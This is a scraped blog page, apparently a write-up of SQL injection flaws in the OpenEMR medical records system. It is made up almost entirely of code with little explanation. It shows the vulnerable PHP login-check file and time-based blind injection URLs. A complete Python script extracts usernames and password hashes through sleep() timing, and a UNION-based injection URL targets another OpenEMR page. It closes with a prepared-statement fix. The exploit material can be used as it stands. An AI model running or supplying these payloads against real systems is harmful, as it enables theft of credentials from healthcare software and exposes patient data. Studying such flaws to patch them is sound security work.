vlambda博客
学习文章列表

<?php$ignoreAuth=true;include_once("../globals.php");include_once("$srcdir/sql.inc");$user = $_GET['u'];$authDB = sqlQuery("select password,length(password) as passlength from users where username = '$user'");$passlength = $authDB['passlength'];$pw = $authDB['password'];if ($passlength == 32){ echo "0";}else if($passlength == 40){ echo "1";}?>

$authDB = sqlQuery("select password,length(password) as passlength from users where username = '$user'");

function chk_hash_fn(){ var str = document.forms[0].authUser.value; $.ajax({ url: "validateUser.php?u="+str, context: document.body, success: function(data){ if(data == 0)  { document.forms[0].authPass.value=MD5(document.forms[0].clearPass.value); document.forms[0].authNewPass.value=SHA1(document.forms[0].clearPass.value); } else { document.forms[0].authPass.value=SHA1(document.forms[0].clearPass.value); } document.forms[0].clearPass.value=''; document.login_form.submit(); } });}

http://localhost/openemr/interface/login/validateUser.php?u=%27%2B(SELECT+if((select%20count(username)%20from%20users)=2,sleep(3),1))%2B%27

validateUser.php?u='+(SELECT+if((select count(username) from users)=2,sleep(3),1))+'
validateUser.php?u='+(SELECT+if(length((select+group_concat(username,':',password)+from+users+limit+0,1))=1,sleep(3),1))+'
validateUser.php?u='+(SELECT+if(ascii(substr((select+group_concat(username,':',password)+from+users+limit+0,1),1,1))=1,sleep(3),1))+'

import requestsimport stringimport sys
all = string.printableurl = "http://10.75.154.145/openemr/interface/login/validateUser.php?u="proxy = {"http":"http://127.0.0.1:8082","https":"http://127.0.0.1:8082"}def extract_users_num(): print("[+] Finding number of users...") for n in range(1,100): payload = '\'%2b(SELECT+if((select count(username) from users)=' + str(n) + ',sleep(3),1))%2b\'' r = requests.get(url+payload,proxies=proxy) if r.elapsed.total_seconds() > 3: user_length = n break print("[+] Found number of users: " + str(user_length)) return user_length
def extract_users(): users = extract_users_num() print("[+] Extracting username and password hash...") output = [] for n in range(1,1000): payload = '\'%2b(SELECT+if(length((select+group_concat(username,\':\',password)+from+users+limit+0,1))=' + str(n) + ',sleep(3),1))%2b\'' r = requests.get(url+payload,proxies=proxy) if r.elapsed.total_seconds() > 3: length = n break for i in range(1,length+1): for char in all: payload = '\'%2b(SELECT+if(ascii(substr((select+group_concat(username,\':\',password)+from+users+limit+0,1),'+ str(i)+',1))='+str(ord(char))+',sleep(3),1))%2b\'' r = requests.get(url+payload,proxies=proxy) print(r.request.url) if r.elapsed.total_seconds() > 3: output.append(char) if char == ",": print("") continue print(char, end='', flush=True)
try: extract_users()except KeyboardInterrupt: print("") print("[+] Exiting...") sys.exit()

SELECT IF((select count(username) from users)=2,sleep(3),1)

$authDB = sqlQuery("select password,length(password) as passlength from users where username = '$user'");

http://www.example.com/interface/patient_file/summary/add_edit_issue.php?issue=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,user(),25,26,27--

$stmt = $pdo->prepare('SELECT * FROM blog_posts WHERE YEAR(created) = ? AND MONTH(created) = ?');if (!$stmt->execute([$_GET['year'], $_GET['month']])) { header("Location: /blog/"); exit;}$posts = $stmt->fetchAll(\PDO::FETCH_ASSOC);